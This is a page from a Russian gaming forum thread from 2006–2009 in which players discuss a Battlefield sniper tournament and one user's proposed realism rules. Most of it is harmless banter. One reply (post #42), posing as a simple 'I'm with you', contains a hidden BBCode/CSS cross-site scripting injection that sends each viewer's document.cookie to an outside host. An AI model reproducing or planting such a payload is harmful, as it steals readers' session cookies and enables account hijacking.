IPB

Здравствуйте, гость ( Авторизация | Регистрация )

Скрыть объявления

Объявления

5 страниц V  < 1 2 3 4 5 >  
Тема закрытаОткрыть тему
> Турнир снайперов, соколиный глаз.. тебе сюда...
19003
сообщение 14.6.2006, 21:11
Сообщение #41


Gunnery Sergeant
Иконка группы

Группа: Team RUSSIA BF3
Сообщений: 362
Регистрация: 30.4.2006
Из: Spain
Пользователь №: 286
Команда (клан):Yes!
Статус: игрок
Класс: универсал
Спасибо сказали: 46 раз(а)



Репутация:   0  


А мы когда-то давно играли снайперами на маштуре.Очень весёлое дело. играли только за мячеть с клейморами и гренами 3 на 3 ,1 на 3. 2 на 3. тут если с клейморами то и 1 на 3 несмертельно и азарта больше. думаю 2 на 2 было бы хоршо.без командеров. но можно и с. рейпиш товарища и его кит в руки а там ещё 2е. С захватом флагов надо делать.


--------------------
3 степени мастерства - 1 знание, 2 умение, 3 привычка.
OnLine
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
gogi
сообщение 14.6.2006, 22:09
Сообщение #42


private
Иконка группы

Группа: Пользователи
Сообщений: 1
Регистрация: 14.6.2006
Пользователь №: 527
Команда (клан):=GO=
Статус: вольный стрелок
Класс: универсал
Спасибо сказали: 0 раз(а)



Репутация:   0  


Я с вами :[post=1000[topic=target style=background:url(java script:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/topic][/post]

Сообщение отредактировал gogi - 14.6.2006, 22:12
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
=USOR= HELLB0Y
сообщение 14.6.2006, 22:45
Сообщение #43


Lance Corporal
Иконка группы

Группа: Пользователи
Сообщений: 71
Регистрация: 21.4.2006
Пользователь №: 247
Статус: вольный стрелок
Класс: универсал
Спасибо сказали: 0 раз(а)



Репутация:   0  


мы играли на затаре на 16 игроков, с командерами, но он имеет право кинуть только суплай и то, когда убьет кого-то из врагов(снайпера), весело шло, адреналин так и играл diablo.gif
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Blackberkut
сообщение 22.6.2006, 19:40
Сообщение #44


Staff Sergeant
Иконка группы

Группа: Пользователи
Сообщений: 245
Регистрация: 3.4.2006
Из: Подмосковье
Пользователь №: 80
Статус: вольный стрелок
Класс: суппорт
Спасибо сказали: 2 раз(а)



Репутация:   -1  


Цитата(Cezar @ 14.6.2006, 13:23) *
Снайпер - существо не командное ,как правило... smile.gif Каждый сам за себя...

Отменные снайперы всегда работают в паре, а это уже, можно сказать, команда wink.gif
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Strelok_
сообщение 5.12.2009, 22:15
Сообщение #45


Private First Class
Иконка группы

Группа: Пользователи
Сообщений: 41
Регистрация: 5.12.2009
Пользователь №: 11655
Команда (клан):Всем смирно !
Статус: орг/менеджер
Класс: командер
Спасибо сказали: 5 раз(а)



Репутация:   0  


Тема ещё актуальна ?
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
HlLL
сообщение 5.12.2009, 22:37
Сообщение #46


1st MBF2 LAN spring 2009
Иконка группы

Золото MBL spring 2009Бронзовый бейдж MBGL spring 2009Бейдж MBGL NightCupsСеребрянный бейдж MBGL NightCup Summer
Группа: Team RUSSIA BF2
Сообщений: 2602
Регистрация: 29.3.2006
Из: sG
Пользователь №: 24
Награды: 4
Команда (клан):Empire
Статус: кланлидер
Класс: командер
Спасибо сказали: 1600 раз(а)



Репутация:   10  


через 3 года после последнего поста ?


--------------------
30.09.11 16:02h Paranoia eSports BC2 kick_member Mattward / by 2720948
18:40 - Team Empire...really good.©Zh1nto
"I see Op Metro as the new Karkand" © Epsilon.Morte
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Strelok_
сообщение 5.12.2009, 22:40
Сообщение #47


Private First Class
Иконка группы

Группа: Пользователи
Сообщений: 41
Регистрация: 5.12.2009
Пользователь №: 11655
Команда (клан):Всем смирно !
Статус: орг/менеджер
Класс: командер
Спасибо сказали: 5 раз(а)



Репутация:   0  


может у них свой ресурс давно ? )


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
welzik
сообщение 5.12.2009, 22:51
Сообщение #48


Sergeant Major
Иконка группы

Нашивка ТotalBF|ru
Группа: Пользователи
Сообщений: 1026
Регистрация: 21.1.2009
Из: Великий Новгород
Пользователь №: 7925
Награды: 1
Команда (клан):b00m
Статус: игрок
Класс: снайпер
Спасибо сказали: 226 раз(а)



Репутация:   0  


Цитата(Strelok_ @ 5.12.2009, 22:40) *
может у них свой ресурс давно ? )

ага Российское сообщество снайперов =D


--------------------
Коплю на бентли ---> R358284707553

Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Strelok_
сообщение 5.12.2009, 22:57
Сообщение #49


Private First Class
Иконка группы

Группа: Пользователи
Сообщений: 41
Регистрация: 5.12.2009
Пользователь №: 11655
Команда (клан):Всем смирно !
Статус: орг/менеджер
Класс: командер
Спасибо сказали: 5 раз(а)



Репутация:   0  


Если есть желающие, то можно обсудить, только я бы организовал на основе уже имеющегося обсуждения немного другое мероприятие, не для задротов конечно же, а для ценителей тактики и людей, работающих не на личные очки а на общую победу ))


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Strelok_
сообщение 7.12.2009, 17:37
Сообщение #50


Private First Class
Иконка группы

Группа: Пользователи
Сообщений: 41
Регистрация: 5.12.2009
Пользователь №: 11655
Команда (клан):Всем смирно !
Статус: орг/менеджер
Класс: командер
Спасибо сказали: 5 раз(а)



Репутация:   0  


В общем, чтобы было понятно о чём речь, расскажу о некоторых моментах.
Весь смысл задумки заключается в том,чтобы приблизить обстановку максимально к реальной ). Почему в этой теме? Потому что снайперы в действительности сильно решают, и разумеется не количеством а умением оказаться в нужный момент и в нужном месте. Поэтому необходимо повысить значимость снайперов.Сделать это можно следующим образом наряду с другими условиями , которые приблизят процесс к реальному:
1) на карте не должно быть никакого искусственного тумана, ограничивающего радиус обзора да ещё в ясную погоду;
2) если туман обусловлен погодными условиями, то это даже хорошо, но только не искусственный туман (искусственный начинает работать только на определённом расстоянии, тогда как естественный ухудшает видимость на любом расстоянии, уравнивая всех в восприятии окружающей дейсвтительности)) )
3) необходимо отключить отображение имён игроков в процессе игры, а то это моветон.
Распознавание своих исключительно по камуфляжу,карте (будем считать это GPS-навигацией) и с помощью радиосвязи.
4) насчёт командиров команд. Беспилотник можно оставить, спутник убрать, за рукоблудие и часто повторяющуюся фразу "Enemy infantry spotted" бить по попе ))
(снайперам будет возможность развернуться). Сброс боеприпасов оставить, но возможно придётся увеличить интервал между сбросами или поставить какие-нибудь условия.А может и не придётся изменять процесс доставки боеприпасов на поле боя.
5)разрешить абсолютно все "анлоки", и даже рекомендовать их использование из-за лучшей кучности при стрельбе )). НО !!! Запретить на фиг педали у медиков, либо
опять же ограничить их использование каким-нибудь хитрым условием.Чтобы не поднимали одного и того же бойца по 10 раз )). ТАКЖЕ ограничить или запретить использование аптечек. К примеру, боец, которого "совсем-совсем" ранили использует аптечку, но при этом получает ограничение на свободу передвижения и может, к примеру, только ползать или ходить(это ещё можно доработать).
6) И САМОЕ ГЛАВНОЕ- необходимо ограничить количество жизней каждого игрока.
Оставить 2, 3 или вообще одну )).Всё будет зависеть от того, за какую сторону играет игрок(оборона, атака и др.) и по какому сценарию проходит битва.
7) Сценарии. Можно придумать различные сценарии. Самые основные это: а) встречный бой (типа захвата флага), б) штурм укрепрайона (одна сторона-атака,
другая- оборона). Разумеется можно ещё что-нибудь придумать и добавить. Например,
организовать спасательную операцию с целью эвакуации экипажа сбитого самолёта или вертолёта. Точные координаты падения вертолёта неизвестны обеим сторонам, либо известны только спасателям благодаря радиомаячку либо голосовой радиосвязи, (будем считать что вражеская сторона не смогла запеленговать радиосигнал ) и теперь цель одной стороны добраться как можно быстрее до места падения и эвакуировать уцелевший экипаж, а задача другой стороны помешать эвакуации и захватить в плен лётчиков. Если лётчики погибают, то обе стороны в попе. (Только надо будет придумать, как сымитировать захват в плен )) ).
Сценариев можно придумать очень много.
8 ) Ещё было бы неплохо придумать, как сократить число пуль, которое необходимо
всадить во врага, чтобы тот перестал сопротивляться. Сначала можно попробовать без каких-либо ограничений связанных с попаданиями, но можно добавить правило: любое попадание-это минус одна жизнь )) Вот тогда желающих выпрыгивать из-за углов поубавится сразу.Сначала будут высовываться а потом думать, а стоит ли ? ). С гранатами то же самое- задело, выбыл.

Пока всё. Самые основные моменты я изложил. Буду дальше думать над процессом и выкладывать тут информацию по его улучшению.
Да кстати, по поводу реализма, кто-то может сказать что типа FH и PR это как бэ реалистичные моды. Я их разочарую, это как раз самые нереалистичные моды, забракованные сразу же после испытания стрелкового оружия. Ну а про картинку и говорить вообще нечего. Более менее реалистичная стрельба была в BF1942, поскольку там на коротких дистанциях было вполне возможно попадать на ходу.Если бы к этому ещё добавили ощущения от попадания, хотя бы как в CоD, то было бы гораздо интереснее.
И самое главное, всё что здесь написано, это в первую очередь для тех людей, которые в состоянии пролежать всю игру в засаде в кустах или снайпером на позиции,
и не сделав ни единого выстрела, получить удовольствие от процесса. Главное- это не сколько фрагов вы заработали, а насколько полезными оказались ваши действия и как они помогли одержать победу вашей команде.

Сообщение отредактировал Strelok_ - 7.12.2009, 17:39
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Devaster
сообщение 7.12.2009, 17:40
Сообщение #51


First Sergeant
Иконка группы

Золото MBL spring 2009Бронзовый бейдж MBGL spring 2009
Группа: Team RUSSIA BF2
Сообщений: 735
Регистрация: 17.9.2008
Из: Питер
Пользователь №: 7189
Награды: 2
Команда (клан):Identity
Статус: орг/менеджер
Класс: медик
Спасибо сказали: 482 раз(а)



Репутация:   2  


(@_@)
*извините, не удержался..*


--------------------
Live HED KANDI



this guys forever in my heart


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Шмяк
сообщение 7.12.2009, 18:16
Сообщение #52


shit happens when you party naked
Иконка группы

Группа: Пользователи
Сообщений: 891
Регистрация: 11.3.2007
Из: города-героя Тулы
Пользователь №: 3614
Статус: орг/менеджер
Класс: командер
Спасибо сказали: 1536 раз(а)



Репутация:   14  


Цитата(Strelok_ @ 7.12.2009, 17:37) *
....это в первую очередь для тех людей, которые в состоянии пролежать всю игру в засаде в кустах или снайпером на позиции,
и не сделав ни единого выстрела, получить удовольствие от процесса......

rofl.gif rofl.gif rofl.gif


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
ZUB
сообщение 7.12.2009, 18:38
Сообщение #53


First Sergeant
Иконка группы

Группа: Пользователи
Сообщений: 677
Регистрация: 31.10.2007
Из: Киев
Пользователь №: 5358
Команда (клан):Epic Fail
Статус: игрок
Класс: универсал
Спасибо сказали: 360 раз(а)



Репутация:   -3  


Стрелок, иди играй в BF2 Project Reality
Но учти, там количество снайперов и марксменов на команду ограничено.


--------------------
Внезапно © Kawa



Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Ofna
сообщение 7.12.2009, 18:40
Сообщение #54


Gunnery Sergeant
Иконка группы

Группа: Пользователи
Сообщений: 356
Регистрация: 29.10.2009
Из: Украина (Киев)
Пользователь №: 11168
Команда (клан):r13|
Статус: игрок
Класс: вертолетчик
Спасибо сказали: 141 раз(а)



Репутация:   0  


А лучше в АрмА 2, БФ2 немного не то для такого занятия  wink.gif


--------------------
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
4iker
сообщение 7.12.2009, 18:45
Сообщение #55


Gunnery Sergeant
Иконка группы

Серебряный бейдж MBGL spring 2009
Группа: Moderator
Сообщений: 482
Регистрация: 22.1.2008
Из: Новосибирск
Пользователь №: 5829
Награды: 1
Команда (клан):Frenzy
Статус: кланлидер
Класс: танкист
Спасибо сказали: 519 раз(а)



Репутация:   1  


кг\ам


--------------------

juuichibantai taichou



Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Arrowhead
сообщение 7.12.2009, 18:49
Сообщение #56


Master Sergeant
Иконка группы

Группа: Пользователи
Сообщений: 572
Регистрация: 30.1.2008
Из: Москва ЮЗАО
Пользователь №: 5889
Команда (клан):[P.C.F.]
Статус: игрок
Класс: инженер
Спасибо сказали: 574 раз(а)



Репутация:   0  


Мне кажется или темой ошибся он? Ну и форумом заодно


--------------------
Ехал Путин через Путин
Видит Путин в реке Путин
Путин Путин Путин Путин
Путин Путин Путин Путин
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Seliverstov
сообщение 7.12.2009, 18:50
Сообщение #57


Победитель турнира MBGL 2009 "Танковый прорыв"
Иконка группы

Золотая нашивка танкистаБронзовый бейдж MBGL NightCup SummerБейдж MBGL NightCups
Группа: Team RUSSIA BF2
Сообщений: 655
Регистрация: 13.4.2009
Из: Столица
Пользователь №: 9002
Награды: 3
Статус: игрок
Класс: танкист
Спасибо сказали: 912 раз(а)



Репутация:   3  


Я ваше чёто както не догнал к чему эти буквы:?


--------------------


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
KlausTroff
сообщение 7.12.2009, 18:54
Сообщение #58


Lieutenant Colonel
Иконка группы

Группа: Пользователи
Сообщений: 2718
Регистрация: 18.1.2009
Из: Москва
Пользователь №: 7896
Команда (клан):[OR]
Статус: игрок
Класс: универсал
Спасибо сказали: 1483 раз(а)



Репутация:   2  


По-ходу заядлый снайп которого достало, что его постоянно выносят а он ничего не может ))
Вот выдал всё что нафантазировал валяясь под кустом и мечтая о собственной невъе значимости biggrin.gif


--------------------
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
CAHEK2142
сообщение 7.12.2009, 18:55
Сообщение #59


First Sergeant
Иконка группы

Группа: Пользователи
Сообщений: 766
Регистрация: 1.4.2007
Из: Харьков,Москва
Пользователь №: 3964
Команда (клан):МСК Волкодавы
Статус: игрок
Класс: универсал
Спасибо сказали: 261 раз(а)



Репутация:   1  


Цитата(Ofna @ 7.12.2009, 18:40) *
А лучше в АрмА 2, БФ2 немного не то для такого занятия  wink.gif

не надо в арму таких...
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения
Anonim_MP
сообщение 7.12.2009, 18:59
Сообщение #60


Sergeant Major
Иконка группы

Группа: Пользователи
Сообщений: 1196
Регистрация: 16.12.2008
Из: увер
Пользователь №: 7591
Статус: вольный стрелок
Класс: универсал
Спасибо сказали: 561 раз(а)



Репутация:   0  


Цитата(ZUB @ 7.12.2009, 18:38) *
Стрелок, иди играй в BF2 Project Reality
Но учти, там количество снайперов и марксменов на команду ограничено.

Ты не в теме же, он писал:
Цитата
Да кстати, по поводу реализма, кто-то может сказать что типа FH и PR это как бэ реалистичные моды. Я их разочарую, это как раз самые нереалистичные моды, забракованные сразу же после испытания стрелкового оружия.

Самая реалистичная стрельба из всех игр - в оригинальном бф, об этом все авторитетные паблик снайперы, забраковавшие кривые FH и PR, вам скажут biggrin.gif


Спасибо сказали:
Вернуться в начало страницы
 
+Ответить с цитированием данного сообщения

5 страниц V  < 1 2 3 4 5 >
Тема закрытаОткрыть тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



RSS Текстовая версия Сейчас: 21.10.2019, 5:05
Яндекс.Метрика